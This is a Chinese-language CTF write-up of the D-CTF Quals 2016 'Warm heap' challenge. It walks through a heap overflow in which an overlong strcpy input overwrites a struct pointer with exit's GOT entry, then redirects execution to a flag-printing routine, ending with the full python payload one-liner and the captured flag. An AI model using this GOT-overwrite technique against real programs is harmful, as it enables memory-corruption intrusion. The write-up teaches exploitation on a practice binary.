D-CTF Quals 2016 - Warm heap

原文地址:https://thegoonies.rocks/d-ctf-quals-2016-warm-heap-exploit/
文件下载地址:https://github.com/BBS-Bill-Gates/2016-CTF-WriteUp
checksec:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

可以看到CANARY没开,可是分析源程序可以这个没什么用,这个不是栈溢出,而是一个堆溢出.
何为堆?何为栈?
答:堆是动态分配内存,栈是静态分配内存.举个最常用的例子就是.数组和mallc.数组是静态分配的,一旦分配其大小就不能改变了.而经malloc分配的大小是可以改变的,于是就有了realloc函数.
IDA PRO后的main函数:

struct foo {
    int64 count;
    void* ptr;
};

struct foo* a = malloc(16); // rbp-0x1020
a.count = 1;
a.ptr = malloc(8);
struct foo* b = malloc(16); // rbp-0x1018
b.count = 2;
b.ptr = malloc(8);
char buf[0x1000];
fgets(buf, 0x1000, stdin);
strcpy(a.ptr, buf);
fgets(buf, 0x1000, stdin);
strcpy(b.ptr, buf);
exit();

分配的堆大小为8,fget的大小可以为0x1000,明显有猫腻.
接下来接着分析a,b两个结构体之后,fget之前内存中的分布:

0x601ff0:   0x0000000000000000  0x0000000000000000
0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x0000000000000001  0x0000000000602030
0x602020:   0x0000000000000000  0x0000000000000021
0x602030:   0x00000a6f6c6c6568  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000021
0x602050:   0x0000000000000002  0x0000000000602070
0x602060:   0x0000000000000000  0x0000000000000021
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000411
0x602090:   0x00000a6f6c6c6568  0x0000000000000000
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000000000
0x6020c0:   0x0000000000000000  0x0000000000000000
0x6020d0:   0x0000000000000000  0x0000000000000000
&a.count=0x602010
&a.ptr  =0x602030
&a.count=0x602050
&a.ptr  =0x602070
strcpy(a.ptr, buf);//将buf中的内容赋给a.ptr
当strcpy(b.ptr, buf);时,程序会取得0x602058处的地址0x0000000000602070,然后将buf中的内容赋给0x0000000000602070处

由于第一次strcpy的长度大于malloc申请的长度,我有就有可能复写0x602058处的地址,修改0x00602070.
接下来的思路就是:
第一次输入:通过输入过长的内容,将0x602058处的内容修改为一个exit的got值(0x601068).
第二次输入:输入0x400826(输出flag值的汇编代码段)
观察上面贴出来的内存段,发现0x602058与0x602030相差0x28=40,
所以第一次输入的内容就为:

"A"*40+"\x68\x10\x60\x00\x00\x00\x00\x00"

第二次输入:

"\x26\x08\x40"

总结下来:

python -c 'print "A"*40+"\x68\x10\x60\x00\x00\x00\x00\x00"+"\n"+"\x26\x08\x40"'

结果:DCTF{b94c21ff7531cba35a498cb074918b3e}

你可能感兴趣的:(PWN,PWN类型之堆溢出)